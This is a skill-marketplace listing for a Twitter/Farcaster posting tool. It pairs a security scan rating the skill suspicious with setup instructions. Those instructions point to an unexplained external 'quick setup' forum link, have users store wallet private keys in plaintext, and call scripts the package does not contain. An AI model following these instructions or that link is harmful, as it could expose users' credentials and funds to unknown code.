social-postcjo — 技能工具
v1.0.0[自动翻译] Post and reply on Twitter and Farcaster with character limit checks, image support, threads, link shortening, and draft preview.
0· 544·0 当前·0 累计
安全扫描
OpenClaw
可疑
medium confidenceThe skill's stated purpose (posting to X/Twitter and Farcaster) is plausible, but the runtime instructions ask you to store sensitive credentials in specific files and to run scripts that are not included or declared — the package metadata doesn't match the SKILL.md, which is an incoherence risk you should resolve before installing or using it.
评估建议
This skill looks like a reasonable social-post helper, but there are important inconsistencies you should resolve before using it:
- The SKILL.md expects local scripts (scripts/post.sh, scripts/reply.sh, scripts/check-balance.sh) and other skills (farcaster-agent) but the package contains no code — ask the author where those scripts come from and inspect them before running.
- The metadata claims no required env or config paths, but the instructions tell you to store secrets in ~/.openclaw/.env...详细分析 ▾
ℹ 用途与能力
The described functionality (posting/replying to Twitter/X and Farcaster) matches what the SKILL.md asks you to do. However, the metadata claims 'no required env vars' and 'no required config paths' while the SKILL.md explicitly asks you to store Twitter keys in ~/.openclaw/.env and Farcaster keys in ~/.openclaw/farcaster-credentials.json. That mismatch between declared requirements and the instructions is inconsistent.
⚠ 指令范围
The SKILL.md tells the agent/user to create and store sensitive credentials (Twitter consumer/access tokens and Farcaster custody/signer private keys) in specific files and to run scripts (scripts/post.sh, scripts/reply.sh, scripts/check-balance.sh) that are not present in the package. It also references an absolute path (/home/phan_harry/.openclaw/.env) in places and ~/.openclaw elsewhere. Asking for plaintext private keys and directing the agent to run unspecified scripts expands the scope beyond a simple instruction-only skill and is a red flag.
ℹ 安装机制
There is no install specification and no code files — lowest disk write risk. However, the SKILL.md expects local helper scripts and other skills (farcaster-agent) to exist. Because those scripts are not included, the instructions are incomplete and may lead users to fetch or run external code without guidance.
⚠ 凭证需求
Requesting Twitter API keys and Farcaster custody/signing private keys is proportionate to the goal of posting on those platforms, but the skill metadata does not declare those requirements. The instructions further recommend storing private keys and tokens in plaintext files in specific locations (including a user-specific absolute path), which is risky. The SKILL.md also suggests enabling billing and funding a custody wallet — expected for Farcaster but increases risk if done under unclear provenance of scripts.
ℹ 持久化与权限
The skill is not set to always: true and does not declare modifications to other skills or system-wide settings. However, it instructs storing persistent credentials in a local directory (~/.openclaw), which gives the skill persistent access to secrets if the environment later runs the scripts it references. That persistence is normal for CLI-based posting tools but should be explicit in metadata.
安全有层次,运行前请审查代码。
运行时依赖
无特殊依赖
版本
latestv1.0.02026/2/16
initial batch publish
● 可疑
安装命令 点击复制
官方npx clawhub@latest install mupeng-social-postcjo
镜像加速npx clawhub@latest install mupeng-social-postcjo --registry https://cn.clawhub-mirror.com
技能文档
# Social Post 🐧 ⏹ Quick setup here -> https://openclawcli.forum Post to Twitter and/or Farcaster with automatic character limit validation and image upload handling.
Features
- ✅ Post to Twitter only
- ✅ Post to Farcaster only
- ✅ Post to both platforms simultaneously
- ✅ Reply to tweets and casts - respond to specific posts on both platforms
- ✅ Draft preview - shows exactly what will be posted before confirmation
- ✅ Character/byte limit validation
- ✅ Image upload support (for posts and replies)
- ✅ Thread support - automatically split long text into numbered posts
- ✅ Link shortening - compress URLs using TinyURL (saves characters)
- ✅ Auto-truncate on overflow (optional)
Platform Limits
- Twitter: 252 characters (280 with 10% safety buffer)
- Farcaster: 288 bytes (320 with 10% safety buffer)
Setup & Credentials
X/Twitter Setup
Required credentials (stored in/home/phan_harry/.openclaw/.env):
``bash
X_CONSUMER_KEY=your_consumer_key
X_CONSUMER_SECRET=your_consumer_secret
X_ACCESS_TOKEN=your_access_token
X_ACCESS_TOKEN_SECRET=your_access_token_secret
X_USERNAME=your_username
X_USER_ID=your_user_id
`
How to get credentials:
- Apply for X Developer Account
- Go to https://developer.twitter.com/en/portal/dashboard
- Apply for Developer Access
- Wait for approval (usually 1-2 days)
- Enable Consumption-Based Billing
- Set up payment method (credit card) in Developer Portal
- No subscription tiers - you pay only for actual API usage
- Charged per API request (posts, reads, etc.)
- No monthly minimums or fees
- Create an App
- In Developer Portal, create a new App
- Name: "Social Post Bot" (or any name)
- Set permissions to "Read and Write"
- Generate Keys
- Consumer Key & Secret: In "Keys and tokens" tab
- Access Token & Secret: Click "Generate" under "Authentication Tokens"
- Save all 4 credentials securely
- Add to .env file
`bash
echo "X_CONSUMER_KEY=xxx" >> ~/.openclaw/.env
echo "X_CONSUMER_SECRET=xxx" >> ~/.openclaw/.env
echo "X_ACCESS_TOKEN=xxx" >> ~/.openclaw/.env
echo "X_ACCESS_TOKEN_SECRET=xxx" >> ~/.openclaw/.env
`
Test your credentials:
`bash
# Dry run (won't post)
scripts/post.sh --twitter --dry-run "Test message"
`
Farcaster Setup
Required credentials (stored in /home/phan_harry/.openclaw/farcaster-credentials.json):
`json
{
"fid": "your_farcaster_id",
"custodyAddress": "0x...",
"custodyPrivateKey": "0x...",
"signerPublicKey": "0x...",
"signerPrivateKey": "0x...",
"createdAt": "2026-01-01T00:00:00.000Z"
}
`
How to get credentials:
- Use farcaster-agent skill to create account
`bash
# This will guide you through:
# - Creating a wallet
# - Registering FID
# - Adding signer key
# - Automatically saving credentials
# See: /skills/farcaster-agent/SKILL.md
`
- Or use existing credentials
- If you already have a Farcaster account
- Export your custody wallet private key
- Export your signer private key
- Manually create the JSON file
- Fund the custody wallet (REQUIRED)
`bash
# Check current balance
scripts/check-balance.sh
# Send USDC to custody address on Base chain
# Minimum: 0.1 USDC (~100 casts)
# Recommended: 1-5 USDC (1000-5000 casts)
`
- Verify setup
`bash
# Check credentials exist
ls -la ~/.openclaw/farcaster-credentials.json
# Check wallet balance
scripts/check-balance.sh
# Test posting (dry run)
scripts/post.sh --farcaster --dry-run "Test message"
`
Security Notes:
- ⚠️ Never share your private keys
- ⚠️ Credentials are stored as plain text - secure your system
- ⚠️
.env file should have 600 permissions (read/write owner only)
⚠️ Back up your credentials securely
Usage
Posting
Text only
`bash
# Post to both platforms
scripts/post.sh "Your message here"
# Twitter only
scripts/post.sh --twitter "Your message"
# Farcaster only
scripts/post.sh --farcaster "Your message"
`
With image
`bash
# Post to both platforms with image
scripts/post.sh --image /path/to/image.jpg "Your caption"
# Twitter only with image
scripts/post.sh --twitter --image /path/to/image.jpg "Caption"
# Farcaster only with image
scripts/post.sh --farcaster --image /path/to/image.jpg "Caption"
`
Replying
Reply to Twitter
`bash
# Reply to a tweet
scripts/reply.sh --twitter TWEET_ID "Your reply"
# Reply with image
scripts/reply.sh --twitter TWEET_ID --image /path/to/image.jpg "Reply with image"
# Get tweet ID from URL: twitter.com/user/status/[TWEET_ID]
scripts/reply.sh --twitter 1234567890123456789 "Great point!"
`
Reply to Farcaster
`bash
# Reply to a cast
scripts/reply.sh --farcaster CAST_HASH "Your reply"
# Reply with image
scripts/reply.sh --farcaster 0xabcd1234... --image /path/to/image.jpg "Reply with image"
# Get cast hash from URL: farcaster.xyz/~/conversations/[HASH]
scripts/reply.sh --farcaster 0xa1b2c3d4e5f6... "Interesting perspective!"
`
Reply to both platforms
`bash
# Reply to both (if you have corresponding IDs on both platforms)
scripts/reply.sh --twitter 123456 --farcaster 0xabcd... "Great discussion!"
`
Options
For
post.sh (posting)
--twitter - Post to Twitter only
--farcaster - Post to Farcaster only
--image - Attach image
--thread - Split long text into numbered thread
--shorten-links - Shorten URLs to save characters
--truncate - Auto-truncate if over limit
--dry-run - Preview without posting
-y, --yes - Skip confirmation prompt (auto-confirm)
For
reply.sh (replying)
--twitter - Reply to Twitter tweet with this ID
--farcaster - Reply to Farcaster cast with this hash
--image - Attach image to reply
--shorten-links - Shorten URLs to save characters
--truncate - Auto-truncate if over limit
--dry-run - Preview without replying
-y, --yes - Skip confirmation prompt (auto-confirm)
Examples
Posting Examples
`bash
# Quick post to both
scripts/post.sh "gm! Building onchain 🦞"
# Twitter announcement with image
scripts/post.sh --twitter --image ~/screenshot.png "New feature shipped! 🚀"
# Farcaster only
scripts/post.sh --farcaster "Just published credential-manager to ClawHub!"
# Long text as thread (auto-numbered)
scripts/post.sh --thread "This is a very long announcement that exceeds the character limit. It will be automatically split into multiple numbered posts. Each part will be posted sequentially to create a thread. (1/3), (2/3), (3/3)"
# Shorten URLs to save characters
scripts/post.sh --shorten-links "Check out this amazing project: https://github.com/very-long-organization-name/very-long-repository-name"
# Combine thread + link shortening
scripts/post.sh --thread --shorten-links "Long text with multiple links that will be shortened and split into a thread if needed"
# Both platforms, auto-truncate long text
scripts/post.sh --truncate "Very long message that might exceed limits..."
# Preview without confirmation (for automated workflows)
scripts/post.sh --yes "Automated post from CI/CD"
`
Reply Examples
`bash
# Reply to a Twitter thread
scripts/reply.sh --twitter 1234567890123456789 "Totally agree with this take! 💯"
# Reply to Farcaster cast
scripts/reply.sh --farcaster 0xa1b2c3d4e5f6... "Great insight! Have you considered...?"
# Reply with shortened links
scripts/reply.sh --twitter 123456 --shorten-links "Here's more info: https://example.com/very-long-article-url"
# Reply with image
scripts/reply.sh --twitter 123456 --image ~/chart.png "Here's the data to support this"
# Reply to both platforms (same message)
scripts/reply.sh --twitter 123456 --farcaster 0xabc123 "This is exactly right 🎯"
# Quick reply without confirmation
scripts/reply.sh --twitter 123456 --yes "Quick acknowledgment"
# Dry run to preview reply
scripts/reply.sh --twitter 123456 --dry-run "Test reply preview"
`
Draft Preview
The script now shows a draft preview before posting:
`
=== Draft Preview ===
Text to post:
─────────────────────────────────────────────
Your message here
─────────────────────────────────────────────
Targets:
• Twitter
• Farcaster
Proceed with posting? (y/n):
`
- Interactive mode: Prompts for confirmation
- Non-interactive/automated: Use
--yes flag to skip prompt
Dry run: Use --dry-run to preview without any posting
Requirements
- Twitter credentials in
.env (X_CONSUMER_KEY, X_CONSUMER_SECRET, X_ACCESS_TOKEN, X_ACCESS_TOKEN_SECRET)
Farcaster credentials in /home/phan_harry/.openclaw/farcaster-credentials.json
USDC on Base chain (custody wallet): 0.001 USDC per Farcaster cast
For images: curl, jq
Costs
X/Twitter
- 100% Consumption-based - NO subscription tiers (tiers have been eliminated)
- Pay per API request - charged for each call (post, read, etc.)
- No monthly fees, no minimums, no tier upgrades to worry about
- Automatic billing based on actual usage
- Payment via credit card through X Developer portal
- Uses OAuth 1.0a (no blockchain/USDC required)
- Requires approved X Developer account + enabled billing
Official pricing: https://developer.twitter.com/#pricing
Critical: X API completely eliminated subscription tiers (Basic, Pro, etc.). The model is now purely pay-per-use - you are charged only for the API requests you actually make.
Farcaster
Each Farcaster cast costs 0.001 USDC (paid via x402 protocol):
- Deducted from custody wallet on Base chain
- Sent to Neynar Hub:
0xA6a8736f18f383f1cc2d938576933E5eA7Df01A1
~$1 USDC = 1000 casts
Check balance:
`bash
# Quick check
scripts/check-balance.sh
# Manual check
jq -r '.custodyAddress' ~/.openclaw/farcaster-credentials.json
# View on basescan.org
``
Fund wallet:
Send USDC to custody address on Base chain. Bridge from other chains if needed.
Image Hosting
- Twitter: Direct upload via Twitter API
- Farcaster: Uploads to imgur for public URL (embeds automatically)
Error Handling
- Shows character/byte count before posting
- Warns if exceeding limits
- Option to truncate or abort
- Validates credentials before attempting post
🐧 Built by 무펭이 — 무펭이즘(Mupengism) 생태계 스킬
数据来源:ClawHub ↗ · 中文优化:龙虾技能库
OpenClaw 技能定制 / 插件定制 / 私有工作流定制
免费技能或插件可能存在安全风险,如需更匹配、更安全的方案,建议联系付费定制